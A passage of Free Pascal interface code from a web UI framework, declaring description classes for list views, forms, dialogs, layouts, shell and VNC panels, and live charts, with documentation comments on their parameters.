const buttonDep:TFRE_DB_GRID_BUTTON_DEP=fdgbd_always):TFRE_DB_VIEW_LIST_BUTTON_DESC;
//@ Describes a fdgbd_manual type button of a list view.
function DescribeManualType (const id:String; const func:TFRE_DB_SERVER_FUNC_DESC;const icon:String; const caption:String=''; const tooltip:String='';
const disabled:Boolean=False):TFRE_DB_VIEW_LIST_BUTTON_DESC;
end;
{ TFRE_DB_VIEW_LIST_DESC }
TFRE_DB_VIEW_LIST_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes a list view representation of the given store.
//@ Menu:
//@ * Each entry has to have an uidPath or an uid defined.
//@ * First: If the entry has a _funcclassname_ and a _menuFunc_ defined _funcclassname_._menufunc_ will be called.
//@ * Second: itemContextMenuFunc will be called.
//@ Details:
//@ * Each entry has to have an uidPath or an uid defined.
//@ * First: If the entry has a _funcclassname_ and a _detailsfunc_ defined _funcclassname_._detailsfunc_ will be called.
//@ * Second: detailsFunc will be called.
//@ If editable is true and no saveFunc is defined each entry has to have a _schemeclass_ defined. _schemeclass_.saveOperation will be called.
//@
function Describe (const store: TFRE_DB_STORE_DESC; const layout: TFRE_DB_VIEW_LIST_LAYOUT_DESC; const itemContextMenuFunc:TFRE_DB_SERVER_FUNC_DESC=nil; const title:String='';
const displayFlags:TFRE_COLLECTION_GRID_DISPLAY_FLAGS=[cdgf_ShowSearchbox,cdgf_Editable];
const detailsFunc:TFRE_DB_SERVER_FUNC_DESC=nil; const selectionDepFunc: TFRE_DB_SERVER_FUNC_DESC=nil; const saveFunc:TFRE_DB_SERVER_FUNC_DESC=nil;
const dropFunc: TFRE_DB_SERVER_FUNC_DESC=nil; const dragFunc: TFRE_DB_SERVER_FUNC_DESC=nil): TFRE_DB_VIEW_LIST_DESC;
//@ Sets the title of the list view,
procedure SetTitle (const title: String);
//@ Sets the menu of the list view. Will be displayed like a file menu in a desktop application.
procedure SetMenu (const menu: TFRE_DB_MENU_DESC);
//@ Creates a new list view button and adds it.
function AddButton :TFRE_DB_VIEW_LIST_BUTTON_DESC;
//@ Adds a filtered store to the list view.
//@ In case of a selection change the selected ids array (usually uids) will be set as dependency.refId parameter of the filtered store.
//@ Furthermore the view of the dependent store will be refreshed.
procedure AddFilterEvent (const filteredStoreId,refId:String);
//@ Enables drag and drop and defines the destination list view for this one.
//@ Use objectclassesMultiple to limit the target drop object to the given classes in case of multiple selection.
//@ Use objectclassesSingle to limit the target drop object to the given classes in case of single selection.
//@ Data entry _disabledrag_ set to true can be used to disable drag explicitly for objects.
//@ Data entry _disabledrop_ set to true on entries of the target gird can be used to disable drop explicitly for objects.
procedure SetDropGrid (const grid:TFRE_DB_VIEW_LIST_DESC; const DnDClassesMultiple:TFRE_DB_StringArray=nil; const DnDClassesSingle:TFRE_DB_StringArray=nil);
//@ Limits the dragable objects to those matching one of the given objectclasses.
//@ Data entry _disabledrag_ set to true can be used to disable drag explicitly for objects.
//@ Ignored if drag and drop is not enabled. See function SetDropGrid.
procedure SetDragClasses (const DnDclasses:TFRE_DB_StringArray);
//@ Adds an entry to the action column of the list.
//@ FIXXME: Not implemented yet.
procedure AddEntryAction (const serverFunc: TFRE_DB_SERVER_FUNC_DESC; const icon: String; const tooltip:String='');
//@ Defines a server function which will be called on selection change of the list view to retrieve the dependent content.
//@ The selected ids will be passed as selected parameter.
//@ FIXXME: Not implemented yet.
procedure SetDependentContent (const contentFunc:TFRE_DB_SERVER_FUNC_DESC);
//@ Disable the drag functionality. TFRE_DB_UPDATE_UI_ELEMENT_DESC.DescribeDrag can be used to enable it again.
procedure disableDrag ;
end;
{ TFRE_DB_VALIDATOR_DESC }
TFRE_DB_VALIDATOR_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes a validator
//@ Do NOT use! Used internally.
function Describe(const id,regExp,helpTextKey: String; const allowedChars:String='';const replaceRegExp:String=''; const replaceValue:String=''; const configParams: IFRE_DB_Object=nil): TFRE_DB_VALIDATOR_DESC;
end;
{ TFRE_DB_BUTTON_DESC }
TFRE_DB_BUTTON_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes a button for a form panel or a dialog.
//@ fdbbt_close type is only useful for dialogs.
//@ For fdbbt_close type the serverFunc might be nil (Just closes the dialog).
function Describe (const caption: String;const serverFunc: TFRE_DB_SERVER_FUNC_DESC; const buttonType: TFRE_DB_BUTTON_TYPE; const id: String=''): TFRE_DB_BUTTON_DESC;
//@ Describes a download button for a form panel or a dialog.
//@ closeDialog set to true is only useful for dialogs.
function DescribeDownload(const caption: String;const downloadId: String; const closeDialog: Boolean; const id: String=''): TFRE_DB_BUTTON_DESC;
end;
{ TFRE_DB_FORM_DESC }
//@ Base class form panels and dialogs.
//@ Do NOT use! Use TFRE_DB_FORM_PANEL_DESC or TFRE_DB_FORM_DIALOG_DESC instead.
TFRE_DB_FORM_DESC = class(TFRE_DB_CONTENT_DESC)
private
procedure AddStore (const store: TFRE_DB_STORE_DESC);virtual;
procedure AddDBO (const id: String; const session: IFRE_DB_UserSession; const groupPreFix:String);virtual;
function GetStore (const id:String): TFRE_DB_STORE_DESC;virtual;
function Describe (const caption:String;const defaultClose:Boolean;const sendChangedFieldsOnly: Boolean; const editable: Boolean; const onChangeFunc: TFRE_DB_SERVER_FUNC_DESC; const onChangeDelay:Integer; const onDestroyFunc: TFRE_DB_SERVER_FUNC_DESC; const hideEmptyGroups: Boolean): TFRE_DB_FORM_DESC;
procedure _FillWithObjectValues (const obj: IFRE_DB_Object;const session: IFRE_DB_UserSession; const prefix:String);
procedure _addFields (const schemeGroup: IFRE_DB_InputGroupSchemeDefinition; const session: IFRE_DB_UserSession; const fields: IFRE_DB_FieldDef4GroupArr; const prefix:String; const groupPreFix:String; const groupRequired: Boolean; const withoutCaptions:Boolean; const group: TFRE_DB_INPUT_GROUP_DESC; const block: TFRE_DB_INPUT_BLOCK_DESC; const blockSizes: array of Integer);
public
//@ Return the form element with the given id.
function GetFormElement (const elementId:String): TFRE_DB_CONTENT_DESC;
//@ Sets the value of the input element with the given id.
procedure SetElementValue (const elementId, value:String);
//@ Sets the value of the input element with the given id and disables it.
procedure SetElementValueDisabled (const elementId, value:String);
//@ Disables the input element with the given id.
procedure SetElementDisabled (const elementId:String);
//@ Sets the input element with the given id required.
procedure SetElementRequired (const elementId:String);
//@ Sets the input element with the given id required.
procedure SetElementGroupRequired (const elementId:String);
//@ Fills the form with the values of the given object.
procedure FillWithObjectValues (const obj: IFRE_DB_Object; const session: IFRE_DB_UserSession; const groupPreFix:String=''; const isDBO: Boolean=true);
//@ Adds the given InputGroupSchemeDefinition to the form and returns the TFRE_DB_INPUT_GROUP_DESC.
//@ if hideGroupHeader is set to true parameters collapsible and collapsed are ignored
//@ See TFRE_DB_INPUT_GROUP_DESC.
function AddSchemeFormGroup (const schemeGroup: IFRE_DB_InputGroupSchemeDefinition; const session : IFRE_DB_UserSession; const collapsible: Boolean=false; const collapsed: Boolean=false; const groupPreFix:String=''; const groupRequired:Boolean=true; const hideGroupHeader:Boolean=false): TFRE_DB_INPUT_GROUP_DESC; virtual;
//@ Creates a new input field and adds it to the form. See also TFRE_DB_INPUT_DESC.
function AddInput : TFRE_DB_INPUT_DESC; virtual;
//@ Creates a new description and adds it to the form. See also TFRE_DB_INPUT_DESCRIPTION_DESC.
function AddDescription : TFRE_DB_INPUT_DESCRIPTION_DESC; virtual;
//@ Creates a new input button and adds it to the form. See also TFRE_DB_INPUT_BUTTON_DESC.
function AddInputButton : TFRE_DB_INPUT_BUTTON_DESC; virtual;
//@ Creates a new boolean field and adds it to the form. See also TFRE_DB_INPUT_BOOL_DESC.
function AddBool : TFRE_DB_INPUT_BOOL_DESC; virtual;
//@ Creates a new boolean field and adds it to the form. See also TFRE_DB_INPUT_BOOL_DESC.
function AddNumber : TFRE_DB_INPUT_NUMBER_DESC; virtual;
//@ Creates a new chooser and adds it to the form. See also TFRE_DB_INPUT_CHOOSER_DESC.
function AddChooser : TFRE_DB_INPUT_CHOOSER_DESC; virtual;
//@ Creates a new date field and adds it to the form. See also TFRE_DB_INPUT_DATE_DESC.
function AddDate : TFRE_DB_INPUT_DATE_DESC; virtual;
//@ Creates a new recurrence field and adds it to the form. See also TFRE_DB_INPUT_RECURRENCE_DESC.
function AddRecurrence : TFRE_DB_INPUT_RECURRENCE_DESC; virtual;
//@ Creates a new file field and adds it to the form. See also TFRE_DB_INPUT_FILE_DESC.
function AddFile : TFRE_DB_INPUT_FILE_DESC; virtual;
//@ Creates a new input group and adds it to the form. See also TFRE_DB_INPUT_GROUP_DESC.
function AddGroup : TFRE_DB_INPUT_GROUP_DESC; virtual;
//@ Creates a new input proxy group and adds it to the form. See also TFRE_DB_INPUT_GROUP_PROXY_DESC.
function AddGroupProxy : TFRE_DB_INPUT_GROUP_PROXY_DESC; virtual;
//@ Creates a new input block and adds it to the form. See also TFRE_DB_INPUT_BLOCK_DESC.
function AddBlock : TFRE_DB_INPUT_BLOCK_DESC; virtual;
//@ Creates a new grid and adds it to the form. See also TFRE_DB_VIEW_LIST_DESC.
//function AddList : TFRE_DB_VIEW_LIST_DESC; virtual;
//@ Creates a new button and adds it to the form. See also TFRE_DB_BUTTON_DESC.
function AddButton : TFRE_DB_BUTTON_DESC;
//@ Creates a new input field and adds it to the form. See also TFRE_DB_INPUT_DESC.
//function GetGroup (const id:String): TFRE_DB_INPUT_GROUP_DESC;
end;
{ TFRE_DB_INPUT_GROUP_DESC }
TFRE_DB_INPUT_GROUP_DESC = class(TFRE_DB_FORM_DESC)
protected
function _Describe (const caption:String;const collapsible,collapsed: Boolean):TFRE_DB_INPUT_GROUP_DESC;
procedure AddStore (const store: TFRE_DB_STORE_DESC);override;
procedure AddDBO (const id: String; const session: IFRE_DB_UserSession; const groupPreFix:String);override;
function GetStore (const id: String):TFRE_DB_STORE_DESC;override;
public
//@ Describes an input group within a form.
//@ Collapsed will be ignored if collapsible is false.
function Describe (const caption:String='';const collapsible:Boolean=false;const collapsed:Boolean=false):TFRE_DB_INPUT_GROUP_DESC;
procedure SetCaption (const caption:String);
//@ Sets the collapse state of the input group.
//@ Useful in case the group was added with TFRE_DB_FORM_DESC.AddSchemeFormGroup.
procedure SetCollapseState (const collapsed: Boolean=false; const collapsible: Boolean=true);
end;
{ TFRE_DB_INPUT_BLOCK_DESC }
TFRE_DB_INPUT_BLOCK_DESC = class(TFRE_DB_FORM_DESC)
private
procedure AddStore (const store: TFRE_DB_STORE_DESC);override;
procedure AddDBO (const id: String; const session: IFRE_DB_UserSession; const groupPreFix:String);override;
function GetStore (const id: String):TFRE_DB_STORE_DESC;override;
public
class function getDefaultBlockSize : Integer;
//@ Describes an horizontal input block within a form (e.g. Favourite 3 colours: input input input).
function Describe (const caption:String=''; const id: String=''; const indentEmptyCaption: Boolean=false):TFRE_DB_INPUT_BLOCK_DESC;
//@ Adds the given InputGroupSchemeDefinition to the form and returns the TFRE_DB_INPUT_GROUP_DESC.
//@ See TFRE_DB_INPUT_GROUP_DESC.
function AddSchemeFormGroup (const schemeGroup: IFRE_DB_InputGroupSchemeDefinition ; const session : IFRE_DB_UserSession; const collapsible: Boolean=false; const collapsed: Boolean=false; const relSize:Integer=10; const groupPreFix:String=''; const groupRequired:Boolean=true; const hideGroupHeader:Boolean=false): TFRE_DB_INPUT_GROUP_DESC; reintroduce;
//@ Adds the given input fields of the schemeGroup as fields of the input block with relSize 10
function AddSchemeFormGroupInputs(const schemeGroup: IFRE_DB_InputGroupSchemeDefinition ; const session : IFRE_DB_UserSession; const blockSizes: array of Integer; const groupPreFix:String=''; const groupRequired:Boolean=true; const withoutCaptions: Boolean=false): TFRE_DB_INPUT_BLOCK_DESC;
//@ Creates a new input field and adds it to the form. See also TFRE_DB_INPUT_DESC.
function AddInput (const relSize:Integer=10): TFRE_DB_INPUT_DESC; reintroduce;
//@ Creates a new description and adds it to the form. See also TFRE_DB_INPUT_DESCRIPTION_DESC.
function AddDescription (const relSize:Integer=10): TFRE_DB_INPUT_DESCRIPTION_DESC; reintroduce;
//@ Creates a new input button and adds it to the form. See also TFRE_DB_INPUT_BUTTON_DESC.
function AddInputButton (const relSize:Integer=10): TFRE_DB_INPUT_BUTTON_DESC; reintroduce;
//@ Creates a new boolean field and adds it to the form. See also TFRE_DB_INPUT_BOOL_DESC.
function AddBool (const relSize:Integer=10): TFRE_DB_INPUT_BOOL_DESC; reintroduce;
//@ Creates a new boolean field and adds it to the form. See also TFRE_DB_INPUT_BOOL_DESC.
function AddNumber (const relSize:Integer=10): TFRE_DB_INPUT_NUMBER_DESC; reintroduce;
//@ Creates a new chooser and adds it to the form. See also TFRE_DB_INPUT_CHOOSER_DESC.
function AddChooser (const relSize:Integer=10): TFRE_DB_INPUT_CHOOSER_DESC; reintroduce;
//@ Creates a new date field and adds it to the form. See also TFRE_DB_INPUT_DATE_DESC.
function AddDate (const relSize:Integer=10): TFRE_DB_INPUT_DATE_DESC; reintroduce;
//@ Creates a new file field and adds it to the form. See also TFRE_DB_INPUT_FILE_DESC.
function AddFile (const relSize:Integer=10): TFRE_DB_INPUT_FILE_DESC; reintroduce;
//@ Creates a new input group and adds it to the form. See also TFRE_DB_INPUT_GROUP_DESC.
function AddGroup (const relSize:Integer=10): TFRE_DB_INPUT_GROUP_DESC; reintroduce;
//@ Creates a new input proxy group and adds it to the form. See also TFRE_DB_INPUT_GROUP_PROXY_DESC.
function AddGroupProxy (const relSize:Integer=10): TFRE_DB_INPUT_GROUP_PROXY_DESC; reintroduce;
//@ Creates a new input block and adds it to the form. See also TFRE_DB_INPUT_BLOCK_DESC.
function AddBlock (const relSize:Integer=10): TFRE_DB_INPUT_BLOCK_DESC; reintroduce;
//@ Creates a new grid and adds it to the form. See also TFRE_DB_VIEW_LIST_DESC.
//function AddList (const relSize:Integer=1): TFRE_DB_VIEW_LIST_DESC; reintroduce;
end;
{ TFRE_DB_INPUT_GROUP_PROXY_DESC }
TFRE_DB_INPUT_GROUP_PROXY_DESC = class(TFRE_DB_INPUT_GROUP_DESC)
public
//@ Describes an input group within a form which is collapsed and will retrieve its data once its opened.
//@ FIXXME: not implemented yet.
function Describe (const caption:String;const loadFunc:TFRE_DB_SERVER_FUNC_DESC):TFRE_DB_INPUT_GROUP_PROXY_DESC;
end;
{ TFRE_DB_INPUT_GROUP_PROXY_DATA_DESC }
TFRE_DB_INPUT_GROUP_PROXY_DATA_DESC = class(TFRE_DB_INPUT_GROUP_DESC)
public
//@ Describes the content of a TFRE_DB_INPUT_GROUP_PROXY_DESC and has to be the result of the loadFunc of it.
//@ See TFRE_DB_INPUT_GROUP_PROXY_DESC.
//@ FIXXME: not implemented yet.
function Describe (const elementId: String):TFRE_DB_INPUT_GROUP_PROXY_DATA_DESC; reintroduce;
end;
{ TFRE_DB_FORM_PANEL_DESC }
TFRE_DB_FORM_PANEL_DESC = class(TFRE_DB_FORM_DESC)
public
//@ Describes a form content panel. See also TFRE_DB_FORM_DESC.
function Describe (const caption:String;const sendChangedFieldsOnly: Boolean=true; const editable: Boolean=true; const onChangeFunc: TFRE_DB_SERVER_FUNC_DESC=nil; const onChangeDelay:Integer=0; const onDestroyFunc: TFRE_DB_SERVER_FUNC_DESC=nil; const hideEmptyGroups:Boolean=true): TFRE_DB_FORM_PANEL_DESC;
//@ Sets the menu of the form panel. Will be displayed like a file menu in a desktop application.
procedure SetMenu (const menu: TFRE_DB_MENU_DESC);
end;
{ TFRE_DB_FORM_DIALOG_DESC }
TFRE_DB_FORM_DIALOG_DESC = class(TFRE_DB_FORM_DESC)
public
//@ Describes a modal dialog. See also TFRE_DB_FORM_DESC.
//@ If defaultClose is true a close button will be added to the dialog which simply closes the dialog.
//@ If defaultClose is false and no explicit close button is added the dialog will not be closable at all (e.g. force login).
//@ sendChangedFieldsOnly true: good for data updates, false: all field values are send unconditonally, good for new objects
//@ styleClass: used to implement a non standard styling
function Describe (const caption:String; const width:Integer=0; const defaultClose:Boolean=true; const isDraggable:Boolean=true;const sendChangedFieldsOnly: Boolean=false; const editable: Boolean=true; const onChangeFunc: TFRE_DB_SERVER_FUNC_DESC=nil; const onChangeDelay:Integer=0; const onDestroyFunc: TFRE_DB_SERVER_FUNC_DESC=nil; const hideEmptyGroups: Boolean=true; const styleClass: String=''): TFRE_DB_FORM_DIALOG_DESC;
end;
{ TFRE_DB_DIALOG_DESC }
TFRE_DB_DIALOG_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes a modal dialog.
//@ percWidth/Height (in %) or maxWidth/Height (in px) should be defined. If not 80% will be the default for percWidth/Height.
//@ In case of given percWidth/Height maxWidth/Height will be ignored.
//@ If defaultClose is true a close button will be added to the dialog which simply closes the dialog.
//@ If defaultClose is false and no explicit close button is added the dialog will not be closable at all (e.g. force login).
//@ styleClass: used to implement a non standard styling
function Describe (const caption:String; const content:TFRE_DB_CONTENT_DESC; const percWidth: Integer=0; const percHeight: Integer=0; const maxWidth:Integer=0; const maxHeight: Integer=0; const isDraggable:Boolean=true; const styleClass: String=''): TFRE_DB_DIALOG_DESC;
//@ Creates a new button and adds it to the form. See also TFRE_DB_BUTTON_DESC.
function AddButton : TFRE_DB_BUTTON_DESC;
end;
{ TFRE_DB_HTML_DESC }
TFRE_DB_HTML_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes a HTML content.
function Describe (const html:String; const height:Integer=-1; const width:Integer=-1; const border:Boolean=false): TFRE_DB_HTML_DESC;
//@ Adds a dialog to the html which will be opened.
//@ See TFRE_DB_FORM_DIALOG_DESC.
procedure AddFormDialog (const dialog:TFRE_DB_FORM_DIALOG_DESC);
end;
{ TFRE_DB_TOPMENU_DESC }
TFRE_DB_TOPMENU_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes a top menu.
function Describe (const homeCaption,homeIcon: String; const homeIconSize: Integer; const serverFuncs: array of TFRE_DB_SERVER_FUNC_DESC; const mainSectionId: TFRE_DB_String; const sectionsIds: array of TFRE_DB_String; const uname: String; const uServerFunction: TFRE_DB_SERVER_FUNC_DESC; const svgDefs: TFRE_DB_SVG_DEF_ELEM_DESC_ARRAY=nil; const notificationPanel: TFRE_DB_CONTENT_DESC=nil; const notificationInitialClosed:Boolean=true; const JIRAenabled: Boolean=false): TFRE_DB_TOPMENU_DESC;
//@ Adds a dialog to the top menu which will be opened.
//@ See TFRE_DB_FORM_DIALOG_DESC.
procedure AddFormDialog (const dialog:TFRE_DB_FORM_DIALOG_DESC);
end;
{ TFRE_DB_LAYOUT_DESC }
TFRE_DB_LAYOUT_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes a layout.
//@ If useSizedSections is switched off each section except the center section has to have a fixed size e.g. a html header section.
function Describe (const useSizedSections:Boolean=true): TFRE_DB_LAYOUT_DESC;
//@ Adds the given section at the position 'pos'. With the size parameter the relative size of the content can be configured.
//@ Default values for size are: 3 for center section and 1 otherwise.
//@ Parameter resizeable will be ignored for the center section because it is resizeable if any other section is resizeable.
procedure AddSection (const section:TFRE_DB_CONTENT_DESC; const pos: TFRE_DB_LAYOUT_POS; const resizeable: Boolean=true; const size: Integer=-1); //deprecated, don't use
//@ Adds a dialog to the layout which will be opened.
//@ See TFRE_DB_FORM_DIALOG_DESC.
procedure AddFormDialog (const dialog:TFRE_DB_FORM_DIALOG_DESC);
//@ Sets the relative size of the content section.
//@ Will only be used if no explicit center section is added with AddSection procedure.
//@ Default value is 3.
procedure setContentSize (const size: Integer);
//@ Sets the whole Layout at once.
//@ Warning: This will override the useSizedSections parameter set by the describe method
function SetLayout (const leftSection,centerSection:TFRE_DB_CONTENT_DESC;const rightSection:TFRE_DB_CONTENT_DESC=nil;const topSection:TFRE_DB_CONTENT_DESC=nil;const bottomSection:TFRE_DB_CONTENT_DESC=nil;const resizeable:boolean=true;
const left_size:integer=-1;const center_size:integer=-1;const right_size:integer=-1;const top_size:integer=-1;const bottom_size:integer=-1):TFRE_DB_LAYOUT_DESC;
//@ Sets the whole Layout at once.
//@ Warning: This will override the useSizedSections parameter set by the describe method
function SetAutoSizedLayout (const leftSection,centerSection:TFRE_DB_CONTENT_DESC;const rightSection:TFRE_DB_CONTENT_DESC=nil;const topSection:TFRE_DB_CONTENT_DESC=nil;const bottomSection:TFRE_DB_CONTENT_DESC=nil):TFRE_DB_LAYOUT_DESC;
end;
{ TFRE_DB_EDITOR_DESC }
TFRE_DB_EDITOR_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes an editor.
//@ If no save function is defined the editor is read only. In this case starEditFunc and stopEditFunc are not needed either.
function Describe (const loadFunc:TFRE_DB_SERVER_FUNC_DESC; const saveFunc,startEditFunc,stopEditFunc: TFRE_DB_SERVER_FUNC_DESC; const contentType: TFRE_DB_CONTENT_TYPE=ct_html; const toolbarBottom: Boolean=true): TFRE_DB_EDITOR_DESC;
end;
{ TFRE_DB_VNC_DESC }
TFRE_DB_VNC_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes a vnc view.
function Describe (const host:String; const port: Integer): TFRE_DB_VNC_DESC;
end;
{ TFRE_DB_SHELL_DESC }
TFRE_DB_SHELL_DESC = class(TFRE_DB_CONTENT_DESC)
private
function _Describe (const token:String; const count: Integer; const titles: TFRE_DB_StringArray; const lines: Integer): TFRE_DB_SHELL_DESC;
public
//@ Describes a variable number of shell views.
function Describe (const token:String; const title: TFRE_DB_String; const lines: Integer): TFRE_DB_SHELL_DESC;
//@ Describes a fixed number of shell views.
//@ titles has to be of length count or 1 (=> title (1), title (2) ...)
function DescribeFixed (const token:String; const count: Integer; const titles: TFRE_DB_StringArray; const lines: Integer): TFRE_DB_SHELL_DESC;
end;
{ TFRE_DB_HORDE_DESC }
TFRE_DB_HORDE_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes a shell view.
function Describe (const host:String; const port: Integer=443; const protocol: String='https'): TFRE_DB_HORDE_DESC;
end;
{ TFRE_DB_LIVE_CHART_DESC }
TFRE_DB_LIVE_CHART_DESC = class(TFRE_DB_CONTENT_DESC)
private
function _Describe (const id: String; const seriesCount: Integer; const stopStartCB: TFRE_DB_SERVER_FUNC_DESC; const dataMin,dataMax: Real; const caption: String; const seriesColor: TFRE_DB_StringArray;const dataLabels: TFRE_DB_StringArray; const legendLabels: TFRE_DB_StringArray;
const dataTickHint: Integer; const initData: TFRE_DB_SERVER_FUNC_DESC;const dataCount: Integer; const updateInterval: Integer; const buffer: Integer; const seriesType: TFRE_DB_LIVE_CHART_TYPE): TFRE_DB_LIVE_CHART_DESC;
public
//@ Describes a line live chart.
//@ id: id of the chart. Needed by the data feeder to address the chart.
//@ seriesCount: number of series in the chart
//@ stopStartCB: server function called on start and stop. Parameter action will have the value "start" or "stop".
//@ dataMin, dataMax: limits the data-axis
//@ dataTickHint: axis will get approximately 'dataTickHint' ticks
//@ initData: server function called to get the initial data of the live chart. Has to hold dataCount + buffer + 1 data elements.
//@ dataCount: data count per series
//@ updateInterval: in milliseconds
//@ buffer: number of data elements to hold as buffer
function DescribeLine (const id: String; const seriesCount: Integer; const dataCount: Integer; const stopStartCB: TFRE_DB_SERVER_FUNC_DESC; const dataMin,dataMax: Real; const caption: String; const seriesColor: TFRE_DB_StringArray=nil;const legendLabels: TFRE_DB_StringArray=nil;
const dataTickHint: Integer=10; const initData: TFRE_DB_SERVER_FUNC_DESC=nil; const updateInterval: Integer=1000; const buffer: Integer=1): TFRE_DB_LIVE_CHART_DESC;
//@ Describes a sampled line live chart.
//@ dataCount: data count per series
function DescribeSampledLine (const id: String; const seriesCount: Integer; const dataCount: Integer; const stopStartCB: TFRE_DB_SERVER_FUNC_DESC; const dataMin,dataMax: Real; const caption: String; const seriesColor: TFRE_DB_StringArray=nil;const legendLabels: TFRE_DB_StringArray=nil;
const dataTickHint: Integer=10): TFRE_DB_LIVE_CHART_DESC;
//@ Describes a column chart.
//@ dataCount is the number of columns.
//@ seriesCount is the number of values per column. Currently only a seriesCount of 1 is implemented.
function DescribeColumn (const id: String; const dataCount: Integer; const stopStartCB: TFRE_DB_SERVER_FUNC_DESC; const caption: String; const dataMax: Real; const dataMin: Real=0;
const seriesColor: TFRE_DB_StringArray=nil; const dataLabels: TFRE_DB_StringArray=nil; const legendLabels: TFRE_DB_StringArray=nil; const seriesCount: Integer=1): TFRE_DB_LIVE_CHART_DESC;
end;
{ TFRE_DB_REDEFINE_LIVE_CHART_DESC }
TFRE_DB_REDEFINE_LIVE_CHART_DESC = class(TFRE_DB_CONTENT_DESC)
private
function _Describe (const id: String; const seriesCount: Integer; const dataCount: Integer; const dataMinMax: TFRE_DB_Real32Array; const dataLabels: TFRE_DB_StringArray;
const seriesColor: TFRE_DB_StringArray; const legendLabels: TFRE_DB_StringArray; const caption: String): TFRE_DB_REDEFINE_LIVE_CHART_DESC;
public
//@ Describes a redefinition of a line live chart.
//@ See DescribeLine of TFRE_DB_LIVE_CHART_DESC
function DescribeLine (const id: String; const seriesCount: Integer=0; const dataCount: Integer=0; const dataMinMax: TFRE_DB_Real32Array=nil;
const seriesColor: TFRE_DB_StringArray=nil;const legendLabels: TFRE_DB_StringArray=nil; const caption: String=''): TFRE_DB_REDEFINE_LIVE_CHART_DESC;
//@ Describes a redefinition of a sampled line live chart.
//@ See DescribeSampledLine of TFRE_DB_LIVE_CHART_DESC
function DescribeSampledLine (const id: String; const seriesCount: Integer=0; const dataCount: Integer=0; const dataMinMax: TFRE_DB_Real32Array=nil;
const seriesColor: TFRE_DB_StringArray=nil; const legendLabels: TFRE_DB_StringArray=nil; const caption: String=''): TFRE_DB_REDEFINE_LIVE_CHART_DESC;
//@ Describes a redefinition of a column chart.
//@ See DescribeColumn of TFRE_DB_LIVE_CHART_DESC
function DescribeColumn (const id: String; const dataCount: Integer=0; const dataLabels: TFRE_DB_StringArray=nil; const dataMinMax: TFRE_DB_Real32Array=nil;
const seriesCount: Integer=0; const legendLabels: TFRE_DB_StringArray=nil; const seriesColor: TFRE_DB_StringArray=nil; const caption: String=''): TFRE_DB_REDEFINE_LIVE_CHART_DESC;
end;
{ TFRE_DB_LIVE_CHART_DATA_AT_IDX_DESC }
TFRE_DB_LIVE_CHART_DATA_AT_IDX_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes the data of a live chart at index "idx".
//@ id: id of the chart.
//@ dataIndex: index of the data since the last start action
function Describe (const id: String; const dataIndex: Integer; const data: TFRE_DB_Real32Array): TFRE_DB_LIVE_CHART_DATA_AT_IDX_DESC;
end;
TFRE_DB_LIVE_CHART_DATA_ARRAY = array of TFRE_DB_Real32Array;
{ TFRE_DB_LIVE_CHART_COMPLETE_DATA_DESC }
TFRE_DB_LIVE_CHART_COMPLETE_DATA_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes the complete data of a live chart.
//@ id: id of the chart.
function Describe (const id: String; const data: TFRE_DB_LIVE_CHART_DATA_ARRAY): TFRE_DB_LIVE_CHART_COMPLETE_DATA_DESC;
end;
{ TFRE_DB_LIVE_CHART_INIT_DATA_DESC }
TFRE_DB_LIVE_CHART_INIT_DATA_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes the compleate initial data of a live chart. Has to be used as response within the initData server function.
function Describe (const data: TFRE_DB_LIVE_CHART_DATA_ARRAY): TFRE_DB_LIVE_CHART_INIT_DATA_DESC;
end;
{ TFRE_DB_RESOURCE_DESC }
TFRE_DB_RESOURCE_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes a resource. E.g. an icon.
//@ FIXXME: Not implemented yet.
function Describe (const data: IFRE_DB_Object): TFRE_DB_RESOURCE_DESC;
end;
{ TFRE_DB_MAIN_DESC }
TFRE_DB_MAIN_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes the main page.
//@ Used internally. May be removed.
function Describe (const style: String; const jiraIntegrationJSURL: String=''): TFRE_DB_MAIN_DESC;
end;
{ TFRE_DB_SVG_DESC }
TFRE_DB_SVG_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes a svg panel.
function Describe (const svg: String; const id:String=''): TFRE_DB_SVG_DESC;
end;
{ TFRE_DB_UPDATE_SVG_DESC }
TFRE_DB_UPDATE_SVG_DESC = class(TFRE_DB_CONTENT_DESC)
public
//@ Describes an update of an existing svg panel.
function Describe (const svgId,elementId,attrName,attrValue:String): TFRE_DB_UPDATE_SVG_DESC;
end;
{ TFRE_DB_EMBEDDING_GROUP }
{ Used to group objects for one collection (differential state update )}
TFRE_DB_EMBEDDING_GROUP=class(TFRE_DB_ObjectEx)
public
class procedure RegisterSystemScheme(const scheme: IFRE_DB_SCHEMEOBJECT); override;
class procedure InstallDBObjects (const conn:IFRE_DB_SYS_CONNECTION; var currentVersionId: TFRE_DB_NameType; var newVersionId: TFRE_DB_NameType); override;
end;
function String2DBChooserDH(const fts: string): TFRE_DB_CHOOSER_DH;
function String2DBLayoutPos(const fts: string): TFRE_DB_LAYOUT_POS;
function String2DBSubSecDisplayType(const fts: string): TFRE_DB_SUBSEC_DISPLAY_TYPE;
function String2DBMessageType(const fts: string): TFRE_DB_MESSAGE_TYPE;
function String2DBButtonType(const fts: string): TFRE_DB_BUTTON_TYPE;
function String2DBGridButtonDep(const fts: string): TFRE_DB_GRID_BUTTON_DEP;
function String2DBContent(const fts: string): TFRE_DB_CONTENT_TYPE;
procedure G_setDisplaynameGRD(const input,transformed_object : IFRE_DB_Object;const langres: TFRE_DB_StringArray);
implementation
procedure G_setDisplaynameGRD(const input,transformed_object : IFRE_DB_Object;const langres: TFRE_DB_StringArray);
var
dname: String;
begin
if input.FieldPathExists('desc.txt') and (input.FieldPath('desc.txt').AsString<>'') then begin
dname:=input.FieldPath('desc.txt').AsString;
end else begin
dname:=input.Field('objname').AsString;
end;
